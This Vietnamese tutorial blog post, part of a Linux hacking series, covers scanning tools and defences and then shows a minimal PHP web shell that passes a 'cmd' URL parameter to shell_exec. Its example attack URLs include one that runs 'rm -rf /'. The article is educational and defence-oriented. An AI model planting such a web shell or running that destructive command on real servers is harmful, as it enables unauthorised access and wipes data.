Hệ điều h&agrave;nh Linux l&agrave; hệ điều h&agrave;nh được sử dụng để l&agrave;m m&aacute;y chủ phổ biến nhất nhất, đặc biệt l&agrave; cho c&aacute;c m&aacute;y chủ Web. Hệ điều h&agrave;nh n&agrave;y ở dạng m&atilde; nguồn mở, bất kỳ ai cũng c&oacute; thể truy cập v&agrave;o m&atilde; nguồn. Do vậy, điều n&agrave;y khiến n&oacute; trở n&ecirc;n k&eacute;m an to&agrave;n hơn so với c&aacute;c hệ điều h&agrave;nh kh&aacute;c v&igrave; những kẻ tấn c&ocirc;ng c&oacute; thể nghi&ecirc;n cứu m&atilde; nguồn để t&igrave;m ra c&aacute;c lỗ hổng. Hack hệ điều h&agrave;nh Linux l&agrave; c&aacute;ch khai th&aacute;c c&aacute;c lỗ hổng để truy cập tr&aacute;i ph&eacute;p v&agrave;o hệ thống sử dụng hệ điều h&agrave;nh n&agrave;y.
Trong b&agrave;i viết n&agrave;y, ch&uacute;ng ta sẽ đề cập cơ bản về Linux, lỗ hổng bảo mật v&agrave; biện ph&aacute;p c&oacute; thể &aacute;p dụng.
<h2 style="text-align: justify;">Linux</h2>
Linux l&agrave; một hệ điều h&agrave;nh m&atilde; nguồn mở. C&oacute; rất nhiều bản ph&acirc;n phối hệ điều h&agrave;nh dựa tr&ecirc;n Linux như Redhat, Fedora, Ubuntu, ... Linux c&oacute; thể được sử dụng l&agrave;m hệ điều h&agrave;nh m&aacute;y chủ, m&aacute;y t&iacute;nh để b&agrave;n, m&aacute;y t&iacute;nh bảng hoặc thiết bị di động.
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://ebudezain.com/upload/images/setting-vps/tux_linux_penguin_code_binary.jpg" alt="" width="700" height="393" />
C&aacute;c chương tr&igrave;nh tr&ecirc;n Linux c&oacute; thể được thực thi bằng Giao diện đồ họa người d&ugrave;ng hay GUI, hoặc bằng c&aacute;c c&acirc;u lệnh.
Một số c&ocirc;ng cụ cho việc hack Linux:
<ul style="text-align: justify;">
<li style="font-weight: 400;">Nessus: Qu&eacute;t c&aacute;c c&agrave;i đặt cấu h&igrave;nh, bản v&aacute; v&agrave; mạng,... tham khảo th&ecirc;m tại <a href="https://www.tenable.com/products/nessus">đ&acirc;y</a>.</li>
<li style="font-weight: 400;">NMap: Gi&aacute;m s&aacute;t c&aacute;c m&aacute;y chủ đang chạy v&agrave; c&aacute;c dịch vụ m&agrave; ch&uacute;ng đang sử dụng. N&oacute; cũng c&oacute; thể được sử dụng để qu&eacute;t c&aacute;c cổng. Tham khảo th&ecirc;m tại <a href="https://nmap.org/">đ&acirc;y</a>.</li>
<li style="font-weight: 400;">SARA: SARA, l&agrave; từ viết tắt của Security Auditor&rsquo;s Research Assistant, được sử dụng để kiểm tra mạng nhằm chống lại c&aacute;c mối đe dọa như SQL Injection, XSS,... T&igrave;m hiểu th&ecirc;m tại <a href="http://www-arc.com/sara/sara.html">đ&acirc;y</a>.</li>
</ul>
<h2 style="text-align: justify;">C&aacute;ch ngăn chặn hack Linux</h2>
Một tổ chức c&oacute; thể &aacute;p dụng ch&iacute;nh s&aacute;ch sau để tự bảo vệ trước c&aacute;c cuộc tấn c&ocirc;ng:
<ul style="text-align: justify;">
<li style="font-weight: 400;">Thực hiện bản v&aacute;: Thực hiện c&aacute;c bản v&aacute; cho hệ điều h&agrave;nh sẽ đảm bảo an to&agrave;n hơn cho hệ thống.</li>
<li style="font-weight: 400;">Cấu h&igrave;nh hệ điều h&agrave;nh: C&aacute;c tấn c&ocirc;ng khai th&aacute;c kh&aacute;c nhằm tận dụng c&aacute;c điểm yếu trong cấu h&igrave;nh mặc định của m&aacute;y chủ. C&aacute;c c&agrave;i đặt mặc định như mật khẩu cho ứng dụng, t&ecirc;n người d&ugrave;ng mặc định v&agrave; c&aacute;c cổng n&ecirc;n được thay đổi.</li>
<li style="font-weight: 400;">Hệ thống ph&aacute;t hiện x&acirc;m nhập: Ph&aacute;t hiện truy cập tr&aacute;i ph&eacute;p v&agrave;o hệ thống.</li>
</ul>
<h2 style="text-align: justify;">V&iacute; dụ</h2>
Hack hệ thống Ubuntu Linux bằng PHP.
Trong v&iacute; dụ n&agrave;y, ta sẽ đưa ra c&aacute;c th&ocirc;ng tin cơ bản về c&aacute;ch sử dụng PHP để khai th&aacute;c hệ điều h&agrave;nh Linux. Ở đ&acirc;y, ch&uacute;ng ta sẽ kh&ocirc;ng nhắm v&agrave;o bất kỳ m&aacute;y t&iacute;nh nạn nh&acirc;n n&agrave;o v&agrave; sẽ chỉ minh họa v&iacute; dụ.
PHP bao gồm hai h&agrave;m c&oacute; thể được sử dụng để thực thi c&acirc;u lệnh tr&ecirc;n hệ điều h&agrave;nh Linux. N&oacute; chứa h&agrave;m execute () v&agrave; shell_exec (). H&agrave;m execute () trả về d&ograve;ng cuối c&ugrave;ng của kết quả đầu ra của c&acirc;u lệnh (V&iacute; dụ như khi thực thi c&acirc;u lệnh sẽ trả về 10 d&ograve;ng th&igrave; h&agrave;m execute() sẽ chỉ trả về 1 d&ograve;ng cuối c&ugrave;ng của 10 d&ograve;ng đ&oacute;) trong khi h&agrave;m shell_exec () sẽ trả về to&agrave;n bộ kết quả của lệnh ở dạng chuỗi.
Với mục đ&iacute;ch minh họa, giả sử những kẻ tấn c&ocirc;ng cố gắng tải l&ecirc;n tệp sau l&ecirc;n m&aacute;y chủ Web sử dụng Linux:
<pre class="language-php"><code>&lt;?php
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';
echo "executing:-&gt; $cmd&lt;/br&gt;";
$output = shell_exec($cmd);
echo "$output";
?&gt;</code></pre>
Trong đ&oacute;:
<ul style="text-align: justify;">
<li style="font-weight: 400;">Tập lệnh tr&ecirc;n nhận lệnh từ biến GET c&oacute; t&ecirc;n cmd. C&acirc;u lệnh được thực thi bằng shell_exec () v&agrave; kết quả được trả về trong tr&igrave;nh duyệt.</li>
<li style="font-weight: 400;">Đoạn m&atilde; tr&ecirc;n c&oacute; thể được khai th&aacute;c bằng c&aacute;ch sử dụng URL sau:&nbsp;</li>
</ul>
<pre class="language-markup"><code>http: //localhost/cp/konsole.php? cmd = ls% 20-l</code></pre>
C&acirc;u lệnh được thực thi tr&ecirc;n m&aacute;y chủ l&agrave;:
<pre class="language-markup"><code>shell_exec('ls -l') ;</code></pre>
Thực thi đoạn m&atilde; tr&ecirc;n tr&ecirc;n m&aacute;y chủ Web sẽ cho kết quả l&agrave;&nbsp;hiển thị ra c&aacute;c tệp trong thư mục hiện tại v&agrave; c&aacute;c quyền cho ph&eacute;p.
Giả sử nếu kẻ tấn c&ocirc;ng truyền v&agrave;o c&acirc;u lệnh b&ecirc;n dưới, điều n&agrave;y sẽ g&acirc;y ra hậu quả nghiệm trọng tới dữ liệu:
<pre class="language-markup"><code>rm -rf /</code></pre>
Ở đ&acirc;y:
<ul style="text-align: justify;">
<li style="font-weight: 400;">&ldquo;Rm&rdquo; sẽ x&oacute;a c&aacute;c tệp</li>
<li style="font-weight: 400;">&ldquo;Rf&rdquo; l&agrave;m cho lệnh rm chạy ở chế độ đệ quy, tức l&agrave; lặp lại. X&oacute;a tất cả c&aacute;c thư mục v&agrave; tệp.</li>
<li style="font-weight: 400;">&ldquo;/&rdquo; chỉ dẫn c&acirc;u lệnh x&oacute;a c&aacute;c tệp khỏi thư mục gốc.</li>
</ul>
URL tấn c&ocirc;ng sẽ c&oacute; dạng như sau:
<pre class="language-markup"><code>http: //localhost/cp/konsole.php? cmd = rm% 20-rf% 20 /</code></pre>
<h2 style="text-align: justify;">T&oacute;m tắt</h2>
<ul style="text-align: justify;">
<li style="font-weight: 400;">Linux l&agrave; hệ điều h&agrave;nh phổ biến được đặt l&agrave;m c&aacute;c m&aacute;y chủ Web.</li>
<li style="font-weight: 400;">Linux ở dạng m&atilde; nguồn mở v&agrave; bất kỳ ai cũng c&oacute; thể lấy m&atilde; nguồn n&agrave;y. Điều n&agrave;y gi&uacute;p dễ d&agrave;ng ph&aacute;t hiện ra c&aacute;c lỗ hổng đối với Hacker.</li>
</ul>
<hr />
Fanpage Facebook:&nbsp;<a href="https://www.facebook.com/tek4.vn/">TEK4.VN</a>&nbsp;
Tham gia cộng đồng để chia sẻ, trao đổi v&agrave; thảo luận:&nbsp;<a href="https://www.facebook.com/groups/tek4.vn/">TEK4.VN - Học Lập Tr&igrave;nh Miễn Ph&iacute;</a>

Admin

Hệ Điều Hành Linux – Hacking (Phần 17)

Cùng tác giả

Admin

Có liên quan